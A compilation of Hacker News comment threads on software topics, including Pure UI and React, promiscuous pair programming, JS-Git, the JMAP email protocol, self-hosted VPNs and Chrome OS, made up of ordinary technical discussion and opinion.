Pure UI - <AUTHOR> https://rauchg.com/2015/pure-ui <comment><USER2> I'm still waiting for a component economy that could keep up with e.g. Delphi's VCL. Right now, it's either big UI frameworks or stuff you've got a hard time integrating (e.g. they download half the internet, require 28 properties to connect/style). Pure rendering model (i.e. independence from data) alone doesn't cut it.

<comment><USER3> From what I can tell VCL was simply the "pioneer" of what afterwards became "the bog standard approach" from VB to WinForms, Qt, Gtk etcpp. Essentially an OOP class hierarchy with everything inheriting a root "Component" class, most of them wrapping win32 / OS "prim components" C API, coupled with a visual editor with a layouter / component placement / Properties pane.

Now, stuff like this abounds in the Web space but will never feel as "lean" because there's no comparable "underlying-OS-provided-component-primitives". If you insist on such a route _without_ "downloading half the internet", you're stuck with HTML's Form primitives --- not rich enough. If you avoid "28 properties to connect/style", 90+% of web-savvy adopters are gonna balk and bark "where's all the well-known CSS props I should be free to apply?". If you ditch shared stylesheets and expose CSS through a per-component Properties Pane --- in a naive tool, consider the generated HTML, not a sane idea.

Look, these "big UI frameworks" for the most part strip down during builds (with modern web-dev tooling) to the only-what's-used essentials --- certainly for the JS parts, hopefully for the CSS parts too (though not sure this has ever been a real problem to begin with tbqh)

<comment><USER4> Its never going to work like that for the web, because web browser/client producers aren't interested in parcelling out pieces of the pie - its an all- or-nothing approach in the client wars, and we, 2nd-tier programmers hoping to profit on top of the platform, simply have no control.

So, its kind of cannibalistic in my opinion - as soon as an approach rises to the level of adoption, it becomes cannibalised by the very providers of the resources required to sustain itself - the web client vendors.

I, also, look for the same things you do. I don't think its going to happen with the web - we're lock-stepped into fooling ourselves that 'one standard will fit all' when really its 'one standard will deplete your budget, and then you will be left to fund the other standards if you want to ship - otherwise, gtfo and die'...

The only hope is that a model of software development emerges that is _not_ dependent on the client software wars producing a clear winner. Perhaps the more people build their own custom clients, the more we're likely to gain the "component-izable ideal" you postulate. One can hope ..

</comment></comment></comment><comment><USER5> Timestamp: July 13, 2015

This should be noted in the title.

</comment><comment><USER6> Other than framing it in the language of React/FRP, is this substantially different from template engines? Templates are functions from parameters to markup/UI; they're just written in (usually custom) markup languages instead of Javascript. If a template isn't a pure function of its parameters, then surely you're doing it wrong?

PS: I've used several template engines which have an "inheritance" feature, which _might_ refute my point. I never used such features, as they seemed to be shoehorning cargo cult OOP into situations where it's not appropriate. On the other hand, having one template _include_ another for some sub-component acts exactly like one function calling another.

</comment><comment><USER7> How was the view counter made? It's cool to see it increase in realtime.

<comment><USER8> If you are interested here is source code for the blog views. [https://github.com/rauchg/blog-views](https://github.com/rauchg/blog-views)

<comment><USER7> Thanks! I have actually been looking for some simple examples of ZEIT microservices and this happens to be a very nice one.

</comment></comment></comment><comment><USER9> Just a heads up, the [http://primercss.io/buttons/](http://primercss.io/buttons/) link is broken for me.

</comment><comment><USER10> I'm not sure but this sounds like the writer has unknowingly stumbled upon react.

<comment><USER11> Unknowingly? He mentions React by name.

This was written in 2015, when React was far less popular. Guillermo clearly decided to bet big on React after this- his company Zeit produces next.js, one of the nicer React frameworks out there.

(Can somebody add [2015] to the title?)

<comment><USER12> Also, the author is advocating a UI model that has pre-existed React, it was just popularised by React.

You could argue that Elm is actually closer to what the author is advocating.

<comment><USER11> Totally. I would argue that React was successful not because of the declarative programming style that it enables, but because it integrates so easily into the imperative JS ecosystem.

<comment><USER13> I would argue 'integrates so easily into the imperative JS ecosystem' is not a differentiating factor over all the other JS frameworks, so its declarative programming style is far more likely to be the reason it is popular (and in my experience/opinion, this is absolutely the case).

If you just meant popularity vs Elm however, then sure.</comment></comment></comment></comment></comment>


Promiscuous Pairing: Do it often, do it fast and learn from it - <AUTHOR> http://blog.semantikoz.com/2012/03/25/promiscuous-pairing-do-it-often-do-it-fast-and-learn-from-it/

<comment><USER3> What ... the ... f __*? Blindly pushing pair programming is bad enough, but deliberately _trying_ to avoid 'flow' ? That's about the worst idea I've heard from the cult of mediocrity that is 'Agile'.

Pairing on everything is a disruptive waste of both programmers time, unless one programmer is hugely less experienced - in which case, it's not pair programming, it's coaching, and coaching is a different skill set that you can't expect everyone to either WANT to do or to be any good at.

Pairing on all design / analysis spikes is just about bearable, and maybe there are benefits to having everyone switch around spikes quickly.

<comment><USER4> Pairing with other experienced programmers works very well for me, and has made me more effective as a programmer. I've also seen our junior developers learn a lot from pairing with each other. In my working environment, with other people who enjoy that style of work, we think it's pretty great.

It obviously doesn't work well for you, so I strongly recommend not doing it.

Why is it so terrible that people are playing with interesting, creative, sometimes crazy new ideas, and sharing their results?

<comment><USER3> I have had some good experiences with pairing where I've learned a lot, but more often feel that I've gone for weeks without ever feeling the flow, the point where all the pieces of system come together for me and I can see end- to-end what needs to be written, where and how, and that's what I write code for; if you took that away I'd give up tomorrow and become an accountant.

It's more the happy-clappy tone of these articles that grates than the fact the someone's done it and written about it. As someone else pointed out, the experiments are never controlled, never peer-reviewed, and often unreproduceable, but they're always presented as the next great thing to hit software development. It's time to stop with the bullshit, stop with the certified courses, stop with the pretence that if only your team pushed bits of paper around a whiteboard they'll magically become 10 times more productive. Instead, find out how each individual can be the best developer they can be, and facilitate THAT. Of course, that requires investing in actual people management, which is something that is in short supply compared to agile-methodologies-du-jour.

However, I've also seen situations where two junior devs have produced some appalling edifice of code between them, so perhaps that's an argument for rotating pairs faster. Personally I feel both they and the company would have better off if they'd been coached by someone with more experience, but that's not pairing, the power relationship isn't equal.

</comment></comment></comment><comment><USER5> (I'm the author of the original paper. So take my ramblings here with a grain of salt.)

The experimentation that led to Promiscuous Pairing was certainly based on the practical. It was not scientific; it was process engineering. We had no goal to make a great discovery. Rather, we had to ship software RTFN, so we were optimizing our process to do so.

The company board had told us that they were liquidating the company if we didn't have 2 signed letters of intent at the end of the trade show on May 25. We started the project in October, using a traditional development approach (what we'd been doing for the last 2 years).

On Jan 15 or so, I got the group together and asked. 100% of the engineers agreed we had a <5% chance of even having a sales demo ready for the trade show. We were guaranteed not to have enough to get a sale.

So we were desperate and had, literally, nothing to lose (and no time to lose it in).

That was why we were so extreme. We measured the outputs that mattered to us (defects, long refactorings, output), and we reviewed our process each iteration. We did 1-week iterations (industry, as we learned later, was doing 3-4 weeks at the time). We continually developed qualitative heuristics and used our quantitative numbers to filter them on viability. We needed to know what would work faster than any quantitative approach could tell us.

And then we just tried all sorts of stuff. As we got more useful heuristics, they encouraged us to try more bizarre stuff. One of those heuristics was that learning was king: rate of progress == rate of invention == rate of learning stuff (techniques, domain knowledge, ideas that others on the team had).

That was what led us to try the very short pair swap times.

In the end, we stayed with them only because they worked. And man did they work.

5 years later, Ward & Jim convinced me to write up the experience for Agile 2005. Then a couple of other teams tried it.

Interestingly, many of them had exactly the same direct effects from the practice as we did - and those direct effects led to project failure, rather than success (Mitch's team & paper is a fine example).

On the basis of that, my current assumption is that you should only use PP if you're good at removing roadblocks and are already pretty low friction. PP makes all problems glaringly obvious all at once, and gives you the info & learning to address them. But if you can't address them quickly enough (or if there are too many friction points) it just destroys morale and productivity.

I now think of this as a 400-level practice.

First learn to pair (this takes time - it's a set of skills). Do stuff to improve feedback. Shrink all your cycles (we were shipping software 2x per day and hit 100% of our 1-week, 2-week, and 3-month commitments before we tried PP). Once you have eliminated that friction (we did it by fiat, since we were basically being laid off otherwise), then PP can be an awe-inspiring tool.

</comment><comment><USER6> A quick correction: OP describes Arlo Belshee's paper as a "research paper," but it's more properly an experience report. Arlo was working in a professional environment with a team of programmers. That team tried a variety of techniques for improving their productivity, from "no pairing," to "extremely rapid pair switching," and measured the results. I have no doubt that they saw the results they claimed, and that promiscuous pairing worked well for them _in actual practice_ in a real, professional programming environment.

And... this is an experience report. Their "experiments" weren't controlled, blinded, or anything like that. So there are almost certainly contextual nuances that haven't been discovered yet. What worked for Arlo's team won't necessarily work for your team.

And... this is true of nearly all software development techniques. There are hardly any controlled, blinded studies of software development techniques that are worth a damn. So if Arlo's technique seems intriguing, try it. Just don't (a)hold it up as proven technique, because it's not, or (b)get angry that it's not scientifically proven, because chances are very, very good that none of the software development practices you love have been scientifically proven either.

PS: An interesting followup experience report from a team at Microsoft that tried promiscuous pairing for a while: <http://dl.acm.org/citation.cfm?id=1155480>.

</comment><comment><USER7> I could see this as an interesting exercise during certain kinds of workshops or camps. Or during a week of low-stress, no-deadline work in the office. I can, however, see The Suits latching onto this as The Next Big Thing. And it will be about as useful in an every-day work environment as making your programming staff take support calls during their coding time - <USER2> switches cost _lots_ of time and reduce productivity.

<comment><USER4> My understanding is that the Promiscuous Pairing idea was started by real developers working on a real project with tight deadlines. The point of the paper is that, counterintuitively, the approach worked very well _in practice_. So I wouldn't be so quick to dismiss it based on first principles.

That said, it certainly depends a lot on context. My team at work has tried full on switch-every-ninety-minutes Promiscuous Pairing a couple of times. Once, it worked really well: everyone started knowing the code much better; we got more done; we spent less time stuck and confused and more time producing quality software. Another time, it was a nightmare: everyone felt rushed and confused; it seemed like we were constantly being interrupted; we never felt like we were getting anything done.

I'm not entirely sure what made the difference. Our going explanation is that, the second time around, we had a higher baseline level of interruptions already, so the constant switching just added stress and made it impossible to focus. We haven't tried switching that aggressively since then (although we've been considering it lately, as the circumstances seem better for it--that's why it's on my mind right now). On the other hand, it's still rare for us to switch less than once a day, and that's been absolutely great.

</comment></comment><comment><USER8> We have a variant of this for new hires that come onto our team at <http://highgroove.com>. You'll pair with every existing highgroover over the course of your first 5-6 weeks.

Also, this sounds very similar to the benefits I see when running code retreats, <http://coderetreat.org/>. Though the problem domain doesn't change throughout the day at a code retreat, its interesting to watch the diffusion of ideas and knowledge.

</comment><comment><USER4> The article's link to the original paper doesn't seem to be working. Here it is: [http://csis.pace.edu/~grossman/dcs/XR4-PromiscuousPairing.pd...](http://csis.pace.edu/~grossman/dcs/XR4-PromiscuousPairing.pdf)</comment>


Adobe donated $5000 to JS-Git - <AUTHOR> https://www.bountysource.com/#fundraisers/325

<comment><USER2> Good on Adobe... but what does this get them?

I spent a lot of time working on JGit: [http://eclipse.org/jgit/](http://eclipse.org/jgit/)

This is going to take folks a long time to do in pure JS... before even work has to be done to tweak performance... the great thing about JGit is that it's under EDL (BSD) so JS-Git should be able to steal some ideas

<comment><USER3> They're betting the dev tools farm on Brackets, an open-source editor written in JS. To enable it to run on ChromeOS, FirefoxOS, or iOS, they need to have a better cloud filesystem story. Since git is the de facto format for sharing code across machines, they want to integrate git into Brackets. Then, you'd be able to write code on a device that doesn't have a traditional filesystem, locally caching changed resources and offloading the data persistence aspect to a service like BitBucket or GitHub.

<comment><USER2> Ah, I guess they are taking another approach than just using JGit... Eclipse Orion (similar to Brackets) services Git support via a service that is powered by JGit (and in theory, can be swapped out in the future): [http://eclipse.org/orion/](http://eclipse.org/orion/)

</comment></comment></comment><comment><USER4> I think using emscripten + some customization of the code is much more efficient than doing this port AND you don't have problems with incompatibilities. But why do you want to run git in your web browser in the first place?

<comment><USER5> I think this is what emscripten is for: You have some _great_ code and want to port it to the browser platform. But I'm afraid Git relies heavily on the "Posix runtime" that is not supported by emscripten, since emscripten does not try to emulate an os.

<comment><USER6> Correct. Also the amount of code generated by emscripten is too much for me. I want js-git to be a light-weight dependency.

</comment></comment></comment><comment><USER7> Is this a marketing post?</comment>


Ballmer Claims Microsoft Surface RT Sales are off to a "Modest" Start - <AUTHOR> http://www.maximumpc.com/article/news/ballmer_claims_microsoft_surface_rt_sales_are_%E2%80%9Cmodest%E2%80%9D_start423

<comment><USER2> Given that Ballmer has made a career out of hyperbolic exaggerations of Microsoft's success, this can probably be translated as "Surface sales have tanked".

</comment><comment><USER3> yea..</comment>


Trump tells Nasa to stop talking about the Moon return - <AUTHOR> https://www.theverge.com/2019/6/7/18656839/trump-nasa-moon-mars-tweet-artemis-lunar-exploration <comment><USER2> We have always been at war with Eurasia!

<comment><USER3> And Eastasia has always been a part of Eurasia.</comment></comment>


Abstract till you drop. Going beyond 'extract till you drop' - <AUTHOR> https://thinkfoo.wordpress.com/2015/05/17/one-thing-abstract-till-you-drop/

<comment><USER2> Having inherited much code like this in the past, I can tell you I feel bad for the poor people who inherit this crap. Over extraction is okayyyyy-ish. Over abstraction is rage inducing. If you're over abstracting, you're making and polishing a wonderful monument to yourself made of turd for someone else to deal with.

Edit: I remembered that I wrote a blog post about this: [https://drew.thecsillags.com/cult-of- abstraction/](https://drew.thecsillags.com/cult-of-abstraction/)

</comment><comment><USER3> I wanted to hear what HN has to say about this, because to me it reads like a parody, but maybe I'm the ignorant one, and can learn something.

<comment><USER4> My response? YMMV

Abstractions help to create clean, readable code. You do create lots of small classes, but they tend to be focused on one thing and are easily verified by unit tests. It helps debugging since it helps you focus on the area that is causing an error, without having to know how the full system is working.

The downside is that is does scatter the code around, and the creation of units tests requires discipline. When you're first learning the system, it can be challenging since the code is not all in one area.

<comment><USER3> Yes, but just to search/replace code? In a language that already has regular expressions? Maybe I'm being too literal, and I was supposed to see beyond the particular example, but hang me if I see the point of filling a screen with code for a functionality that can be written in two lines.

<comment><USER4> Part of the Bob's argument was that the function was not just doing a replacement, but also a ensuring the replacement was only done once. Essentially, there's state maintenance in there, which complicates things, hence the original post about extraction.

Extraction provides descriptions to the state maintenance. I would agree this particular post is taking abstraction to an unreasonable level, but that is definitely a subjective analysis.</comment></comment></comment></comment>


Building Your Own Dedicated IPSEC VPN in Less Than 10 Minutes - <AUTHOR> https://danielmiessler.com/blog/building-your-own-dedicated-ipsec-vpn-in-less-than-10-minutes/?hn=2 <comment><USER2> If your intention is to build a secure IPSEC VPN, Algo is highly recommended [0]

[0] [https://github.com/trailofbits/algo](https://github.com/trailofbits/algo)

</comment><comment><USER3> I haven't needed it, but Streisand looks very nice.

[https://github.com/StreisandEffect/streisand](https://github.com/StreisandEffect/streisand)

</comment><comment><USER4> Why not use WireGuard?

<comment><USER5> Because Wireguard requires compiling either a custom kernel or a kernel module, Wireguard isn't available on all platforms, configuration of Wireguard for advanced configurations means needing knowledge of how to script network configuration on your client platform versus more advanced ipsec clients have configuration knobs for many more use cases and Wireguard has characteristics that don't make it a good of a fit for some use cases especially ones that involve dynamic routing.</comment></comment>


JMAP: Like IMAP but Not Really - <AUTHOR> https://unencumberedbyfacts.com/2019/01/24/jmap-its-like-imap-but-not-really/ <comment><USER2> FastMail is behind this protocol and from what I've read JMAP has evolved out of their web interface.

I've been a happy customer, even though lately I flirted with going back to GSuite for my personal email, but after a trial realized that Gmail does many things well, except for being a good email service. So I went back to FastMail and renewed for another 2 years.

Seeing this new protocol is exciting, because JMAP is being standardized at IETF. A breath of fresh air to see a new standard being developed.

Also from what I understand JMAP should be friendly for mobile usage. They kept notifications out of it, you're supposed to implement notifications using whatever the mobile platform provides. Interacting via JMAP is via plain HTTP requests, which is super cool.

I can totally see myself implementing a simple email client for automating online services. For example if you implement a commenting system for a website, you might want to do replies by email. That would be a cool project for me to try out.

I wonder if FastMail exposes JMAP publicly yet. Haven't seen any mentions in their admin or docs thus far.

<comment><USER3> I've been a happy Fastmail customer too, until I was made aware that you can impersonate other Fastmail customers by just spoofing the email address. Their servers just happily accept it. SPF and DKIM all pass with flying colours, and the only way you'd know it's happened is if you have DMARC on and happen to notice a pass in the report you don't remember sending. Well, that is if the recipient doesn't reply to the spoofed message - hope the damage wasn't already done though. It's effectively impossible for the recipient to know it's been spoofed.

The worst part is I think Fastmail is aware of it and just don't care (believe that's why they mark their emails with a green tick and text). I understand that email has never been really authenticated, but this just throws any trust I had in Fastmail out the window.

I will be evaluating other mail hosts at the end of my subscription.

<comment><USER4> What is the reason for allowing this? Laziness?

<comment><USER2> The reason is probably that nothing can stop the successful spoofing of the From header. DKIM is a signature for authenticating a domain, however that domain does not have to match the domain in the From header.

Take a look in Gmail at a signed email and you'll see a "Signed by" field in its header info, with a domain name as a value.

Also the SPF setting has nothing to do with the From header either.

In other words the "From" value cannot be protected, unless you sign your email with PGP or S/MIME.

<comment><USER5> That's tripe.

They know who authenticated to the SMTP server, so they could enforce that the From address is who it was authenticated by. Otherwise, they basically act as an open relay.

<comment><USER6> Sending from multiple From addresses is a common use case. I send from at least 4 different email addresses all hosted by fastmail in the same account. Having to create different logins to authenticate each sender would be a huge pain.

Plus it's not a unique problem to fastmail.

<comment><USER7> Gmail requires that you prove ownership of an email address by clicking a link in an email before letting you choose it as a From: address. I think this is a good compromise.

<comment><USER8> You can also take a blacklisting approach, where it's open-by-default and users shall be able to restrict any domain to properly authenticated users only. That way, it is purely a security enhancement for those who want it (like me).

I demonstrated this behavior to eggsampler after discovering it quite a long time ago by messing around with HTTP payloads in their web interface - it's wild to me that FastMail will use the DKIM private keys from an entirely different FM account to sign your messages.

Unlike eggsampler, I won't be ditching them, but I hope that FM reconsider their policy eventually. That they have awarded themselves the privilege of a "green tick" on their own official emails while throwing everybody else to the wolves is slightly ironic.

</comment></comment></comment></comment></comment></comment></comment></comment><comment><USER9> _> JMAP is a REST API so it uses HTTP requests and responses to issue commands and get the results. Almost all requests in JMAP are to the same URL using an HTTP POST to submit a JSON body of "methods"._

Describing this as REST is really strange. Defining your own operations over an HTTP POST is what SOAP and other RPC style web services do and specifically what REST isn't. But I guess that a lack of a standard behind REST ended up with the term being used for everything.

<comment><USER10> At this point I guess any API that runs on top of HTTP is REST? Strange world.

<comment><USER11> I guess REST became catch phrase for all JSON over HTTP protocols.

</comment></comment></comment><comment><USER12> I really want to see some innovation in the email space. The landscape is like a sea of false promises and dashed dreams. SMTP is one of the bread-and- butters of the internet, yet it just doesn't seem to be moving forward (maybe that's for the best), and no one's building extensions on top of it.

Maybe I'm naive in thinking it was possible but we could have avoided this whole "make an account on X messenger so we can talk", if someone had just jammed XMPP and SMTP together.

Every few years I'm tempted to try and write a SMTP server (MX) myself but then realize that postfix has been around so long and is the go to choice _for a reason_. I don't have 20 years of figuring out how X mail server interprets SMTP to be as reliable as postfix. I settled for trying to wrap it[0].

[0]: [https://gitlab.com/postmgr/postmgr](https://gitlab.com/postmgr/postmgr)

<comment><USER13> Email is "good enough".

The real hole is "instant messaging". Somehow every few years we got from ICQ to AIM to Paltalk to Skype to Facebook Messenger to Slack to ... (at least Altassian had the decency to take HipChat behind the woodshed and shoot it)

The strange thing is that these services dry up, blow away, get replaced, but they don't seem to improve on what came before.

There is a standard, XMPP, but the only people who care about it are firefighters, cops, and soldiers. For all the anger at internet giants these days, I can't see for the life of me why people aren't pushing for open instant messenging.

<comment><USER14> XMPP's problem isn't that people don't care about it. Its problem is a double whammy of having zero branding/mindspace presence and being too technical for many users to bother with.

The second point is especially big. People expect to be pointed to a singular app/site, not "choose whichever client you like". Your average Joe just doesn't conceptualize services as being separate from clients in the first place, and even if they did having to choose a client is a dead end.

<comment> yo-nathan I totally agree with that. I've good experiences recommending Quicksy[1][2] though. It makes not only account creation easy as pie, but also helps people finding their peers by their phone numbers.

Give it to your average Joes and Janes and they will just use it like any other messenger. But since it is pure XMPP, can just use any other Jabber account to chat with them. :)

I recommended it a lot the last weeks and most of my pals just use it without any hassle. At least in my bubble most of the people have besides WhatsApp also Telegram or Viber or WhatEver installed. So it's for them Quicksy is just yet another app. But this time one, which helps to get out of the walled garden. :)

[1] [https://play.google.com/store/apps/details?id=im.quicksy.cli...](https://play.google.com/store/apps/details?id=im.quicksy.client) [2] [https://quicksy.im](https://quicksy.im)

</comment></comment></comment></comment><comment><USER15> The main failure in mail standards is a lack of explicit utf8 clean support lhs@rhs -if this got fixed (it's often called universal acceptance) a lot of things about mail as an ecology would improve.

I have view on the spam thing. The whole "your idea will not work because" meme is hugely destructive of innovation in email. It sucks energy and mindshare. It's classic old timer put down.

What would (imnsho opinion) have fixed spam is sender pays. I've debated this with a lot of people. We're 50/50 on it. Fifty agree with me, fifty million don't.

Jmap is utf8 clean btw.

(I used to do email for a living in the eighties when life was simple and bang!chains!worked)

<comment><USER16> You could pay with computing power.

[https://en.m.wikipedia.org/wiki/Hashcash](https://en.m.wikipedia.org/wiki/Hashcash)

<comment><USER17> That's horrible for the environment.

<comment><USER18> Depending on the workload it will be a marginal load, and getting rid of spam would be a pretty big gain.

</comment></comment></comment></comment><comment><USER19> To give some context on why JMAP is relevant today, you might want to read this answer in the conversations FAQ [1]. It basically states that XMPP powered Apps are having trouble fighting against the battery saving software because XMPP is stateful. JMAP, on the other hand, is stateless.

As protocols are meant to connect different implementations and bringing more protocols for the same task quickly hurts the interoperability (before bringing some improvements in the long-term), I am skeptical to the effects those new protocols bring to the ecosystem. I am aware that JMAP was born more out of the RESTful requirements of an HTTP based App, but in general, I am wondering where this road will lead us.

[1]: [https://github.com/siacs/Conversations#but-why-do-i-need- a-p...](https://github.com/siacs/Conversations#but-why-do-i-need-a-permanent- notification-if-i-use-google-push)

<comment><USER20> Note that "RESTful" in JMAP's case means "everything over JSON HTTP POST", methods to be invoked are embedded in the JSON request.

As for XMPP battery consumption I didn't see major problems, Conversations.im is always <1% (I just checked and it shows 0%). On the other hand Conversations can use push to optimize battery usage.

<comment><USER19> Yes, in fact, there is absolutely no reason to restrict well-built apps like conversations from consuming battery automatically. Even without Google Push Notifications the battery consumption is quite good.

So it is pretty obvious that the vendor built battery optimization software does more bad than good.

</comment></comment></comment><comment><USER21> Last time I looked at IMAP, I was a little peeved that servers didn't accept messages added to the "Outbox" folder and send them, instead requiring that clients talk SMTP and then (or not) save a copy of the same message to the "Sent" folder.

Could JMAP replace SMTP as well as IMAP?

<comment><USER22> Why do you think you need a new protocol for this? Instead what you want is a different IMAP server.

<comment><USER21> It has been a long time since I looked at IMAP. Are servers that do this now commonplace? (None I could find used to.)

Can I know from a capability exchange if the remote server will send emails after adding to the "Outbox" folder?

<comment><USER23> No, not as far as I'm aware. But it's an idea I've also had. Upload the message to drafts, and then when you're ready to send, just move it to Outbox right?

<comment><USER21> That would be ideal. Keep SMTP as a server-to-server protocol only and IMAP as server-to-client.

</comment></comment></comment></comment></comment><comment><USER24> The article mentions that JMAP does calendars as well. Anyone have a quick status update on how it compares to CalDav and if it's supported by any of the major calendar clients or servers? I did a quick google and looked at the JMAP site but couldn't find any info.

Background for this is that I implemented a calendar client and a calendar server (with SabreDAV) last year and I'm wondering if I should be adding support for JMAP anytime soon.

<comment><USER25> Editor of the JMAP specs here. The JMAP calendar spec is currently just a draft, but now JMAP core and mail are (more or less) finalised and JSCalendar ([https://tools.ietf.org/html/draft-ietf-calext- jscalendar-11](https://tools.ietf.org/html/draft-ietf-calext-jscalendar-11)) is in last call too, we will be looking to take the JMAP Calendar spec through the IETF process in the very near future. Since it is essentially just combing core with the JSCalendar data format, this should be reasonably straight forward.

<comment><USER24> I see, thank you so much for providing inside information. Looks like it'll be a while before I can ditch CalDav...

</comment></comment></comment><comment><USER26> Post is about JMAP (Fastmail's IMAP/SMTP replacement), by the author of a newish webmail client called Cypht that has just recently implemented support for JMAP. Cool! Keep going!

[https://cypht.org/](https://cypht.org/)

</comment><comment><USER27> Loved this bit:

> Internet: Do you think JMAP will really take off?

> Me: JMAP is an open, smart, modern, and powerful E-mail protocol, so > probably not.

</comment><comment><USER28> I've started to migrate 18 years of email history to Fastmail, after running my own mail infra for almost 2 decades.

I am not impressed. Folders moved in the webinterface show up unmoved in Thunderbird. And vice versa.

Sometimes it works, sometimes it doesn't. They're investigating the problem at the moment, but the updates they've given me don't give me much hope.

I'm looking at migrating away to another provider that just does plain old imap.

</comment><comment><USER29> From experience, Exchange's Outlook API ("EWS") is pretty decent. It's XML- SOAP, sure, but there are libraries for it that can be readily used. The only thing they _did_ fuck up is the three different kinds of IDs for an object (esp. confusing when accessing delegated team mailboxes/calendar events) but once you get it how it works, it's straightforward and allows you access to anything from email over calendar to address-book.

I just do not know if EWS is an "open standard" that could be replicated by a third party server or if it is only "open documentation" and licensed for Exchange only :(

<comment><USER23> I've sadly been looking for, and never found, an open source EWS <-> IMAP/(Cal/Card Dav) gateway. I'd love it if my users could get a full experience using Outlook for Mac for example. Right now I recommend them to just use Apple Mail/Calendar/Contacts or Thunderbird with the tb-sync extensions.

<comment><USER29> So you'd like for users to keep their familiar Outlook setup, but with a FOSS server backend?

Not sure if this is possible, I don't know if Outlook uses the EWS protocol, OWA or something entirely different :/

<comment><USER23> Yupp. It works well with Windows Outlook, since they can use ActiveSync. But Mac Outlook doesn't have ActiveSync (or Card/Cal dav).

</comment></comment></comment></comment><comment><USER30> > JMAP is not designed around a persistent network socket, so it's perfect for > webmail clients that connect, do stuff, then disconnect (which is exactly > NOT how IMAP is supposed to be used)

WTF? So, webmail was limited by the fact that it was running in a browser and thus had to use HTTP, which has semantics that don't really fit the needs of an email access protocol. Now, we do have stuff like websockets that would make it possible to run a protocol from the webmail client that actually fits the needs, and instead people invent a new protocol that inherently doesn't match the needs of the application?

<comment><USER31> Most mail clients are running on mobile (judging by number of devices). Long- running connections on mobile are a bad idea because of network reliability and battery concerns.

<comment><USER30> Hu? Constantly establishing new connections saves power vs. maintaining one estalished connection? Could you explain how that works?

And could you also explain how constantly making new connections makes things work more reliably over unreliable links? Like, does that allow you to transfer data when the network link is down? Does the fact that inside the TLS/TCP connection data is transferred via HTTP instead of IMAP somehow make the TCP connection work better over lossy links?

It would seem to me like the exact opposite should be the case, if it has any effect at all?

<comment><USER32> Ignoring efficiency concerns, modern mobile oses don't allow applications to keep connections open for long. If you want notifications to work, you need to use the platform notification system.

The platform argument is roughly that if they hold open one connection, it's cheaper than each app holding open their own connection. And maybe, if you're optimistic, the platform will be better at figuring out ping intervals for that connection that adapt to broken Nat devices per network (ie: on some networks, wake up once a minute to keep the connection active, and on reasonable networks wake up once every 30 minutes)

<comment><USER30> Well, yeah, if you are very optimistic and generous. In reality, this is yet another way of the manufacturers maintaining power over their customers' property. After all, there is zero reason why any of those things would require them as a middle-man, they could just invent a protocol for that and/or provide a library and a system service on the device that allow applications to maintain a background connection without the need to involve them in any way on the network/server side. The only useful involvement they could have might be providing endpoints for measuring and exchanging NAT timeout information for providers, maybe.

But in any case, none of that is an argument for building a protocol that forces the problems that result from that on all platforms that don't have such restrictions, at best that is an argument in favor of workarounds to make things work as well as possible on such platforms.

Also, I would think that the long-term solution to this problem should be mobile link layer protocols that allow the mobile station to receive incoming packets with little delay while still conserving power. Stuff like high- powered, high SNR alert channels that allow the mobile station to shut down everything apart from a simple, low power, receiver, that only powers on for a few microseconds every few hundred milliseconds to listen for a wakeup signal from the network, so that incoming packets can be delivered with a latency of a few hundred milliseconds at any time. And then you are stuck with a stupid poll-based protocol that's adapted to the limitations of some ancient technology as a replacement for an even more ancient protocol that didn't have that limitation.

</comment></comment></comment></comment></comment><comment><USER33> I was really hoping for a GraphQL API standard for mail before reading this. But this sounds good too.

<comment><USER34> Reading through the JMAP website [0], I'm actually wondering whether whoever's behind JMAP has looked at GraphQL. There seem to be a lot of similarities (especially the "why not REST" section).

[0] [https://jmap.io/index.html](https://jmap.io/index.html)

<comment><USER35> I think Fastmail are the primary ones behind JMAP: [https://fastmail.blog/2014/12/23/jmap-a-better-way-to- email/](https://fastmail.blog/2014/12/23/jmap-a-better-way-to-email/)

<comment><AUTHOR> Yep. Also I think they are using it for a subset of customers. While JMAP support in Cypht is still new, so far it's working just like IMAP, but my testing is limited since I just wrote the integration :)

</comment></comment></comment></comment><comment><USER36> Very interesting:

 _> JMAP is not designed around a persistent network socket, so it's perfect for webmail clients that connect, do stuff, then disconnect_

This would allow implementing JMAP in serverless architecture, e.g. self hosting on AWS lambda. That should be _very_ cheap and significantly lower the barrier to self hosting (not needing to manage a box, just providing aws credentials).

Think of what it takes to truly decentralise email. There are technical hurdles, but also some fundamental ones:

\- other providers mark you as spam because you're unknown

\- you need an always on server to actually get your incoming mail

This would at least solve the second problem. If we can develop a product like mailinabox (Which has its flaws but it's the right idea), but instead of asking for a fresh vm, it just asks for aws credentials, that could be pretty solid.

Hopefully one day we can give the people back their control over their means of communication. This seems like a step in the right direction!

<comment><USER37> I'm not sure I understand: JMAP is designed for communication between the client and the mail server. But you still would need a mail server, always on, to receive the incoming mail from other servers, right ?

Did I miss something about JMAP?

<comment><AUTHOR> Nope, you are exactly correct. JMAP is just a much more modern and efficient way to connect clients and servers to access E-mail.

</comment></comment></comment><comment><USER38> So, you say that it doesn't maintain a persistent connection, but that poses a problem - it needs a way to do push notifications still I assume? Those need an open socket somewhere - does JMAP allow for it or does it make you rely on a 3rd party?

<comment><USER39> If you are mention Ios/Android, yes you need the proxy to redirect push calls from JMAP server to the push services of apple/google.

<comment><USER40> FWIW this is completely reasonable. Push in XMPP works the same way. They way FCM (Google) and APNS (Apple) work is that only the app vendor with proper credentials can trigger push notification for an app. Therefor it has to be proxied through the app developers server anyway. And of course it cleanly separates the MDA from the various, proprietary push solutions.

</comment></comment></comment><comment><USER41> IMAP is just a way for attackers to perform credential spray's against large providers these days.

</comment><comment><USER42> I recently thought about email being based on such an old standard and then I wondered if maybe it didn't matter anymore, because most of the web is moving to gmail, and my guess is (and somebody please correct me) that when I send an email from gmail to gmail, that no actual SMTP is involved? I'm assuming that they have some internal protocol that is just adapter'd to "Email" at the very end?

<comment><USER43> > most of the web is moving to gmail

This isn't true; there's a LOT of industry on Exchange of some sort, and plenty of older institutions running their own email. Especially in IETF land.

And it's a huge risk increase if everyone moves everything to gmail.</comment></comment>


Chrome OS is here to stay - <AUTHOR> http://chrome.blogspot.com/2015/11/chrome-os-is-here-to-stay.html <comment><USER2> I'm generally willing to take statements from Google at face value; they've done unpopular things (killing Reader, etc.), but in my experience haven't been deceptive about them.

I hope they realize how valuable a reasonably secure, "stateless" OS like Chrome OS is for many applications. Chrome OS is far from perfection in this space (and there are a lot of easy ways to make it better, and some hard ways to make it vastly better), but it is head and shoulders above anything else for a lot of deployment models right now.

